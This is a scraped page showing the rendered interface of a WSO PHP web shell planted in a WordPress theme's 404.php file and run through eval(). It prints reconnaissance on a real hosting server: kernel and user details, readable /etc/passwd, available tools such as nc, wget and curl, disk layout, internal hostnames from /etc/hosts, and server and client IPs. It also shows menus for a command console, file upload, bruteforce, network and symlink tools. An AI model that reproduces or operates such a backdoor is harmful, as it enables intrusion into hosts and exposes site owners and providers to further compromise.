Notice: Function _load_textdomain_just_in_time was called incorrectly. Translation loading for the wp-file-upload domain was triggered too early. This is usually an indicator for some code in the plugin or theme running too early. Translations should be loaded at the init action or later. Please see Debugging in WordPress for more information. (This message was added in version 6.7.0.) in /home1/leokwok/public_html/wp-includes/functions.php on line 6114

Deprecated: Methods with the same name as their class will not be constructors in a future version of PHP; DbClass has a deprecated constructor in /home1/leokwok/public_html/wp-content/themes/astra/404.php(76155) : eval()'d code on line 1561

Notice: Undefined index: default_charset in /home1/leokwok/public_html/wp-content/themes/astra/404.php(76155) : eval()'d code on line 124

Notice: Undefined index: p1 in /home1/leokwok/public_html/wp-content/themes/astra/404.php(76155) : eval()'d code on line 156
uluxus.com Wso 2024
Uname:
User:
Php:
Hdd:
Cwd:
Linux gator3054.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 [GitHub]
1010 ( leokwok ) Group: 1001 ( leokwok )
7.4.33 Safe mode: OFF [ phpinfo ] Datetime: 2025-01-28 22:51:03
1512.68 GB Free: 66.23 GB (4%)
/home1/leokwok/public_html/ drwxr-x--- [ home ]

Server IP:
192.232.221.255
Client IP:
3.141.193.175
[ Sec. Info ][ Files ][ Console ][ SafeMode ][ Sql ][ Php ][ String tools ][ Bruteforce ][ Network ][ Symlink ][ Self remove ]

Server security information

Server software: Apache
Disabled PHP Functions: none
cURL support: enabled
Supported databases: PostgreSQL

Readable /etc/passwd: yes [view]
Readable /etc/shadow: no
OS version: Linux version 4.19.286-203.ELK.el7.x86_64 (mockbuild@fc5d9f45ee7f4235b8d172dc87097d0c) (gcc version 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)) #1 SMP Wed Jun 14 04:33:55 CDT 2023
Distr name:
\S
Kernel \r on an \m

Userful: make, php, perl, python, ruby, tar, gzip, bzip2, nc
Downloaders: wget, lynx, links, curl, lwp-mirror

HDD space:
Filesystem      Size  Used Avail Use% Mounted on
devtmpfs         29G     0   29G   0% /dev
tmpfs           500M  4.0K  500M   1% /dev/shm
tmpfs            29G  3.0G   26G  11% /run
tmpfs            29G     0   29G   0% /sys/fs/cgroup
/dev/sda1        74G   20G   51G  28% /
/dev/sdd1       1.5T  1.4T  126G  92% /home3
/dev/sde1       1.5T  1.3T  191G  88% /home4
/dev/sda2        15G  904M   13G   7% /tmp
/dev/sda5       492G  209G  259G  45% /var
/dev/sdb1       1.5T  1.5T   67G  96% /home1
tmpfs           4.0G     0  4.0G   0% /ramdisk
tmpfs           4.0G   16K  4.0G   1% /var/mysqltmp
/dev/sdc1       1.5T  732G  782G  49% /home2
none             29G  6.4M   29G   1% /var/spool/exim
tmpfs           5.8G     0  5.8G   0% /run/user/0
tmpfs           5.8G     0  5.8G   0% /run/user/32741
tmpfs           5.8G     0  5.8G   0% /run/user/668
Hosts:
# HEADER: This file was autogenerated at 2024-06-19 01:18:51 -0500
# HEADER: by puppet.  While it can still be managed manually, it
# HEADER: is definitely not recommended.
# Do not remove the following line, or various programs
# that require network functionality will fail.
127.0.0.1		localhost localhost.localdomain
184.172.248.142		rallywagon.websitewelcome.com rallywagon
108.179.202.131		zabbix-dallas-3.rallywagon.websitewelcome.com zabbix-dallas-3
108.179.235.138		zabbix-houston-2.rallywagon.websitewelcome.com zabbix-houston-2
184.173.226.84		zabbix-server.rallywagon.websitewelcome.com zabbix-server
192.185.0.110		henson.hostgator.com henson puppet
108.179.235.137		zabbix-houston-1.rallywagon.websitewelcome.com zabbix-houston-1
50.23.47.206		wizard2.hostgator.com wizard2
108.179.202.129		zabbix-dallas-1.rallywagon.websitewelcome.com zabbix-dallas-1
108.179.202.130		zabbix-dallas-2.rallywagon.websitewelcome.com zabbix-dallas-2
70.87.80.194		wizard.hostgator.com wizard
108.179.235.139		zabbix-houston-3.rallywagon.websitewelcome.com zabbix-houston-3
192.185.0.165		z2.hou1.unifiedlayer.com z2.hou1
192.185.0.164		zs1.hou1.unifiedlayer.com zs1.hou1
192.185.104.255		proxy3.hou1.zabbix.unifiedlayer.com proxy3.hou1.zabbix
192.185.105.255		proxy4.hou1.zabbix.unifiedlayer.com proxy4.hou1.zabbix
192.185.106.255		proxy5.hou1.zabbix.endurance.com proxy5.hou1.zabbix
208.74.120.194		cabundle.cpanel.net
127.0.0.0		localhost 192-187-118-138.xxwin.pw pastebin.net pastebin.com hgts.ru elro.us etmltd.com snacksshop.top elro.wap.sh www.adminer.org adminer.org
50.87.144.70		gator3054.hostgator.com gator3054 store.wpbench.temp.domains
50.87.144.70		store.wpbench.temp.domains
Change dir:
Read file:
Make dir:
[ Writeable ]
Make file:
[ Writeable ]
Execute:
Upload file:
[ Writeable ]